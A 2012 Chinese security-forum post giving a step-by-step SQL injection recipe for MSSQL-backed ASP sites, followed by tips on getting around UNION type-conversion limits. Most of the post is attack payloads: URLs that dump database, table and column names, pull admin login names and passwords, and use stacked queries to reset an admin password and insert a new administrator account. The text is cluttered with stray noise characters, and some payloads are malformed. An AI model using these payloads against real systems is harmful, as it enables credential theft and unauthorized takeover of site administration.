找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1903|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
0 m6 @" k% v* j: K; @http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--: q8 A# Y# J9 a8 v! N9 K/ {1 g
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.3 |6 U4 L/ I+ R# M! ~& m; q
爆下一个库:6 |8 Z( x* C; `+ ?/ ]' x2 i
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--, `! r1 ?9 {( F: d. i

7 I  S$ T; |+ c爆表:
  w* v! T' F' ]/ Yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--1 k! u' O3 _8 C. O# Z+ ]

- {! b! }3 a% R' R- D! DSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
# k/ X% [% {7 K
4 }7 O6 i6 P2 @- f爆下一个表
' V9 F' h$ o& @- r! Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
8 P. M1 V& z9 y# \& j
- K- l8 ^4 [7 k$ r) T, nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--# L! A8 M* _3 T
# _& u. K* q$ b" v# f  ~6 D

7 `; K  S( Y; H; I
4 U" T3 G5 V# U+ W7 _$ g7 p2 }6 @爆字段:6 S) B  N5 `) z3 L
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
0 }$ o& s# R1 v2 ]* F' ?! `2 I9 r# o
爆下一个字段( d- E5 u7 Y# o0 m0 z
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
* y; i& Q! s4 a0 z" o( _! U: g. i, k# k( W
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--0 T+ p3 h5 v; D/ }/ O8 L0 C

. L/ p" l( E9 H+ `' B5 a( R/ @. H& c6 d! A+ r$ E
爆字段里的内容
* X0 U: G+ j. R; A2 t, O$ U/ Z  U$ rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
3 u' W) N* g% V* g) d. b
/ d- V( Z+ M9 v9 x9 _6 jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--. g+ ^) L  \; o4 u/ I
$ q# Y6 j/ F9 z: b) G5 ^) |
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
0 V: y* M$ v+ }8 M; P) D! G6 g- Y7 ^3 V# [+ \# r0 e6 f' X
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--9 U' w& h- q5 ~+ ~2 `: ^# X0 a) V
" a% [3 R$ z8 f! w
更新字段里的内容
: d4 \* P9 S! j3 n- w. ?4 ~' Ahttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--5 ?* _5 \5 d/ ~
7 s, x: j5 ^+ S% n
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--$ }. ^6 q+ `2 [& r; S- l4 T5 s2 Q
1 h! j1 ~7 t+ U; h

" t$ P: f( j4 f' O5 C+ z" W
/ S7 B- F) G' P3 L9 I5 c7 S7 m3 Y        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。4 Z. L5 B3 o( \. C9 I
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。5 j; h* K7 d; U# Z' [3 o
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
- m/ u! k: ]$ A- c9 J1 p/ R    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。! K$ ?: K6 Y- k6 K5 P1 c

* ?0 o# E% z/ n, v7 e5 x突了了大部份限制的语句
3 w  h* L5 [8 E, aand 1=2 union all select char(49),char(50),null,null;--
7 ~* ^( b5 P! l
0 o* U8 X0 l9 {9 q: {7 T' `) @6 n! x. G! ^* f( }! z
null也可以正常执行,不过没有回显,不好判断回显的列数。' ]' R0 @; z/ w9 H9 t8 P- ~" H
一般union遇到问题都是有text或者ntext字段,image的很少遇到
! Q( p6 m0 P% s# e
- q/ S/ k1 B( \7 L# n' H可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
/ U# g( h+ v  g3 L( W' A" |9 A5 u9 H
: t! D* W0 T: I. j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表